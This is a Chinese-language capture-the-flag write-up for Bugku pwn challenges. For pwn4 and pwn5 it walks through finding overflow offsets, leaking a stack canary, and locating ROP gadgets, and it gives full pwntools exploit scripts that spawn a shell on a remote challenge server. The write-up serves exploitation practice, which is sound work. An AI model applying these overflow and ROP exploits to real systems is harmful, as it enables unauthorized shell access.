bugku-pwn

bugku

read_note

照例

image-20210804161834106

但是。。直接运行

image-20210804161915718

我人傻了,交了就是

正规解法:Bugkupwn3

pwn4

wp参考:bugku pwn4 canary)

照例

image-20210805000302137

IDA

image-20210805000323715

跟进buf

image-20210805000406725

image-20210805000413778

char buf; // [rsp+10h] [rbp-240h]

0x240-0x8=0x238 换算成十进制为568

image-20210805001801297

所以第一个覆盖点用“a*568”或者0x238

跟进v5

image-20210805000449958

image-20210805000500127

char v5; // [rsp+40h] [rbp-210h]

0x210-0x8=0x208 换算成十进制为520

image-20210805001912276

所以第二个覆盖点用“a*520”或者0x208

记录下system地址0x400660

image-20210805004126641

找canary

image-20210805002605859

关注以下两条语句:

.text:000000000040082C mov rax, fs:28h
.text:0000000000400835 mov [rbp+var_8], rax

canary存在rbp+var_8,可以在0x40082C下断点进行gdb动调

image-20210805002723261

单步跟发现

image-20210805002752813

可以观察,随后会把rax的值放在rbp-8的位置,同时也证明我们找canary位置是对的,即rbp-8的位置

所以现在的思路是首先依据第一次回显泄露canary的值,第二次通过利用泄露的canary值实现栈溢出。

64位程序优先通过寄存器rdi传参,所以先找rdi,利用ROPgadget

1
ROPgadget --binary pwn4 --only "pop|rdi|ret"

可以找到如下结果

image-20210805003120339

发现rdi,记录地址0x400963

但是少个/bin/sh,不过ROPgadget有读取字符串地址的功能

1
ROPgadget --binary pwn4 --string '/bin/sh'

image-20210805003328571

记录下地址0x601068

exp就有了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#r=process("./pwn4")
r=remote("114.67.246.176 ",14314)
#context.log_level = 'debug'
r.recvuntil("Please leave your name(Within 36 Length):")
r.sendline("A"*568)
r.recvuntil("A"*568+"\n")
canary=u64('\x00'+r.recv(7))
sys = 0x400660
rdi = 0x400963
sh =0x601068
payload = 'A'*520+p64(canary)+p64(0x1)+p64(rdi)+p64(sh)+p64(sys)
r.recv()
r.sendline(payload)
r.interactive()

image-20210805004328310

pwn5

照例

image-20210805193718204

直接IDA

image-20210805193757724

简单的栈溢出image-20210805193820581

0x20+8

64位文件下找rdi地址,用ROPgadget

1
ROPgadget --binary pwn5 --only "pop|ret" | grep rdi

image-20210805193926401

IDA找到system地址和/bin/sh地址

image-20210805194023386

image-20210805194031029

exp就有了

1
2
3
4
5
6
7
8
9
10
from pwn import *
#r=process("./pwn2")
r=remote("114.67.246.176 ",15226)
#context.log_level = 'debug'
sys=0x401050
sh=0x0000000000402004
rdi=0x000000000040126b
payload='a'*0x20+'a'*8+p64(rdi)+p64(sh)+p64(sys)
r.sendlineafter("Please Input your name.",payload)
r.interactive()

image-20210805194134698

pwn7

wp参考:[pwn07 - Bugku CTF](